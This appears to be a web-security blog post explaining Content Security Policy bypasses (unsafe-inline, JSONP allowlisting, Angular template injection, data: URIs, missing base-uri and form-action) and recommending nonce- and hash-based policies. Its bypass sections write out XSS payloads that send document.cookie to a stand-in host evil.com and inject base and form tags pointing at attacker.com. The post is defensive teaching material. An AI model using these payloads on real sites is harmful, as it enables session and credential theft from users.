xss / csp / web-security / browser-security / appsec

XSS and Content Security Policy: Bypasses and What Actually Works

CSP is the primary defense against XSS, but misconfiguration and unsafe directives make bypasses common — here's how to write a policy that holds.

July 9, 2026 · 8 min read

Content Security Policy (CSP) is the browser’s mechanism for restricting what resources a page can load and execute. A correctly configured CSP prevents cross-site scripting even when an attacker achieves script injection. A poorly configured one gives the appearance of security while providing almost none. In practice, most CSPs are bypassed by any attacker who knows what they’re looking for.

What XSS Actually Achieves

Before CSP: an attacker who can inject <script> into a page runs arbitrary JavaScript in the victim’s browser origin. This means full access to cookies (absent httpOnly), localStorage, session storage, the DOM, and the ability to make authenticated requests. It’s often used to steal session tokens, capture credentials from forms, or pivot to stored XSS that persists and fires on every subsequent visit.

How CSP Is Supposed to Help

CSP is delivered as an HTTP response header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

This policy tells the browser: load scripts only from the same origin or cdn.example.com. An injected <script> tag loading from an attacker-controlled domain, or an inline <script> block, gets blocked at the browser level — the code never executes.

The full directive space is wide — script-src, style-src, img-src, connect-src, frame-src, form-action, base-uri, and more. default-src is the fallback for any directive not explicitly set.

Common Bypasses

unsafe-inline

Content-Security-Policy: script-src 'self' 'unsafe-inline'

unsafe-inline allows inline <script> blocks and inline event handlers (onclick, onerror, etc.). It completely negates CSP’s XSS protection — if an attacker can inject <script>alert(1)</script> or <img src=x onerror=fetch('//evil.com/'+document.cookie)>, the policy does nothing to stop it.

This is the single most common CSP mistake. It’s often added because developers don’t want to refactor inline scripts.

JSONP Endpoint Allowlisting

Content-Security-Policy: script-src 'self' https://accounts.google.com

If accounts.google.com (or any other allowlisted domain) exposes a JSONP endpoint — a URL like /o/oauth2/revoke?callback= where the callback parameter is reflected into a <script> response body — then an attacker can use it as a scriptable endpoint:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=fetch('//evil.com/'+document.cookie)"></script>

The browser sees a script from an allowlisted origin. The content happens to be attacker-controlled. JSONP is legacy, but these endpoints persist. Check every allowlisted domain for JSONP or other reflection endpoints.

Angular and Other Client-Side Template Injection

If a page loads Angular (or an older version of it) from an allowlisted CDN and the application uses Angular templates, XSS via template injection can bypass CSP:

{{constructor.constructor('fetch("//evil.com?c="+document.cookie)')()}}

Angular’s template engine evaluates this as JavaScript. Since Angular itself is an allowlisted script source, the execution is not blocked. This is the “Angular CSP bypass” and applies to any framework that evaluates user-controlled strings as code.

script-src with data: URIs

Content-Security-Policy: script-src 'self' data:

data: URIs can encode arbitrary scripts:

<script src="data:text/javascript,fetch('//evil.com?c='+document.cookie)"></script>

Never allow data: in script-src.

Missing base-uri Directive

Without a base-uri restriction, an attacker who can inject a <base> tag can redirect all relative URLs to an attacker-controlled origin:

<base href="https://attacker.com/">

All subsequent relative <script src="..."> loads now go to the attacker’s server, which is not constrained by script-src in the same way as absolute URLs. Fix: base-uri 'self' or base-uri 'none'.

Missing form-action Directive

default-src does not cover form-action. Without explicitly setting form-action, a form injected by an attacker can POST to any origin:

<form action="https://attacker.com/steal" method="POST">

The victim submits credentials to the attacker. Add form-action 'self' or an explicit allowlist.

What Actually Works: Nonces

The correct approach for inline scripts is nonces:

Content-Security-Policy: script-src 'nonce-r4nd0m8yt3s' 'strict-dynamic'

The server generates a cryptographically random nonce per response and includes it in both the header and the script tags:

<script nonce="r4nd0m8yt3s">
  // This executes — nonce matches
</script>

<script>
  // This is blocked — no matching nonce
  fetch('//evil.com/'+document.cookie)
</script>

An attacker who can inject <script> tags doesn’t know the per-request nonce. The injected script is blocked. The nonce must be:

  • Cryptographically random (min 128 bits, typically 256 bits)
  • Generated fresh per HTTP response, never reused
  • Not guessable or leaked (CSP reports, Referer headers, log files)

'strict-dynamic' propagates trust to scripts loaded by nonced scripts, eliminating the need to allowlist CDN domains for dynamically loaded modules.

// server-side nonce generation (Node.js)
const crypto = require('crypto');
const nonce = crypto.randomBytes(32).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}' 'strict-dynamic'`);

Hash-Based CSP

An alternative to nonces for truly static inline scripts: hash the script content and include the hash in the policy:

Content-Security-Policy: script-src 'sha256-xyz123...'

The browser computes the SHA-256 of each inline script and allows it only if the hash matches. Unlike nonces, this works for scripts that can’t change per-request (service workers, critical inline initialization). For dynamic applications, nonces are easier to manage.

Evaluating Your CSP

Use Google’s CSP Evaluator or test manually. Key signals of a weak policy:

❌ 'unsafe-inline' in script-src
❌ 'unsafe-eval' in script-src (allows eval(), new Function(), etc.)
❌ data: in script-src
❌ Wildcard (*) in script-src
❌ Missing base-uri
❌ Missing form-action
❌ Allowlisted domains with JSONP endpoints

A strong nonce-based policy looks like:

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'nonce-{random}';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  form-action 'self';
  base-uri 'none';
  frame-ancestors 'none';

frame-ancestors 'none' replaces the X-Frame-Options header and prevents clickjacking.

Reporting

CSP supports a report-uri or report-to directive that sends violation reports to a collector:

Content-Security-Policy: ...; report-uri /csp-violations

Deploy your policy in report-only mode first (Content-Security-Policy-Report-Only) to collect violations without blocking, tune the policy to eliminate false positives from legitimate code, then switch to enforcement mode.

Conclusion

CSP is effective when:

  • Nonces are used for inline scripts and styles
  • strict-dynamic eliminates CDN domain allowlisting
  • form-action, base-uri, and frame-ancestors are explicitly set
  • No unsafe-inline or unsafe-eval
  • Allowlisted origins are audited for JSONP and reflection endpoints

Treat CSP as a defense-in-depth layer — it’s not a substitute for proper output encoding and input validation, but a correctly written policy significantly raises the bar for XSS exploitation.